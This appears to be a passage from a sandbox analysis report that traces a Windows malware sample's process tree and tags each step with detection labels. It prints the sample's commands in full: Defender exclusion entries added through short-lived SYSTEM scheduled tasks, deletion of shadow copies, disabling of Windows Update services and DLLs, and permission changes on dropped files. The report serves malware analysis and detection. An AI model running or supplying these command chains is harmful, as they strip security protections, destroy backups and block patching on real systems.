  - Suspicious use of WriteProcessMemory
  PID:2464
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3008
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:316
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2212
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3780
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3808
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1316
- C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe
  "C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Checks computer location settings
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:3004
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1616
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3352
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5100
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1404
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1028
  - - C:\Windows\SysWOW64\net.exe
      net stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:3660
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop wuauserv
        5⤵
        
        PID:3712
  - - C:\Windows\SysWOW64\sc.exe
      sc config wuauserv start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:1908
  - - C:\Windows\SysWOW64\sc.exe
      sc failure wuauserv reset= 0 actions= ""
      4⤵
      Launches sc.exe
      PID:4012
  - - C:\Windows\SysWOW64\net.exe
      net stop UsoSvc
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1404
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop UsoSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3488
  - - C:\Windows\SysWOW64\sc.exe
      sc config UsoSvc start= disabled
      4⤵
      Launches sc.exe
      PID:3984
  - - C:\Windows\SysWOW64\sc.exe
      sc failure UsoSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:556
  - - C:\Windows\SysWOW64\net.exe
      net stop uhssvc
      4⤵
      PID:3128
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop uhssvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1684
  - - C:\Windows\SysWOW64\sc.exe
      sc config uhssvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4008
  - - C:\Windows\SysWOW64\sc.exe
      sc failure uhssvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4316
  - - C:\Windows\SysWOW64\net.exe
      net stop WaaSMedicSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:224
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop WaaSMedicSvc
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:4424
  - - C:\Windows\SysWOW64\sc.exe
      sc config WaaSMedicSvc start= disabled
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:4940
  - - C:\Windows\SysWOW64\sc.exe
      sc failure WaaSMedicSvc reset= 0 actions= ""
      4⤵
      Launches sc.exe
      System Location Discovery: System Language Discovery
      PID:2852
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\WaaSMedicSvc.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:4264
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4020
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:5028
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2092
  - - C:\Windows\SysWOW64\takeown.exe
      takeown /f C:\Windows\System32\wuaueng.dll
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      Suspicious use of AdjustPrivilegeToken
      PID:4324
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4488
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2604
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-0
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1428
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4696
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:2280
  - - C:\Windows\SysWOW64\reg.exe
      reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f
      4⤵
      System Location Discovery: System Language Discovery
      PID:4464
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Enumerates connected drives
      Suspicious use of AdjustPrivilegeToken
      PID:4692
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\Oh5lOb\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5012
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\Oh5lOb\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4764
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:2744
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2024
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    PID:760
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2356
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:4588
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:3064
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2344
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4540
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4740
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      PID:3620
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      PID:624
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1520
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5020
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1696
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:1352
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:224
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4668
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2408
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4008
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
    3⤵
    - Indicator Removal: Clear Persistence
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4284
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
      4⤵
      System Location Discovery: System Language Discovery
      Scheduled Task/Job: Scheduled Task
      PID:4288
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Run /TN "Task1"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1188
  - - C:\Windows\SysWOW64\schtasks.exe
      SCHTASKS /Delete /TN "Task1" /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:760
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:1616
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4020
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4644
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3216
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4764
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2288
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb\image.png" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:2744
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb\image.png" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2404
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3192
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1136
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb\image.png" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:824
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:3064
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb\image.png" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3284
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb\thumbs.db" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:1660
  - - C:\Windows\System32\Conhost.exe
      \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
      4⤵
      PID:624
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb\thumbs.db" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1036
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2096
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4936
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4744
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:412
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb\XPSPLOG.dll" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    PID:4876
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb\XPSPLOG.dll" /inheritance:r
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1112
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:2984
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4440
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\Oh5lOb\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4748
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\Oh5lOb\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1268

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\zlyci1" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3572
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\zlyci1" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4744

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2300
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4544

C:\Windows\system32\cmd.exe
cmd.exe
1⤵
PID:3696

C:\Users\Public\zlyci1\HiWVMt.exe
"C:\Users\Public\zlyci1\HiWVMt.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:868

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1708
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4576

C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe
"C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:1324

C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe
"C:\Program Files (x86)\Oh5lOb\Oh5lOb.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3956

C:\Program Files (x86)\nLIfG\H9Ro5icCi.exe
"C:\Program Files (x86)\nLIfG\H9Ro5icCi.exe"
1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:3780

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4064
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:4860

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:1096
- C:\Windows\system32\reg.exe
  reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
  2⤵
  - Windows security bypass
  PID:876

C:\Windows\system32\cmd.exe
cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
1⤵
- Executes a command shell one-liner
PID:2556
- C:\Windows\system32\reg.exe
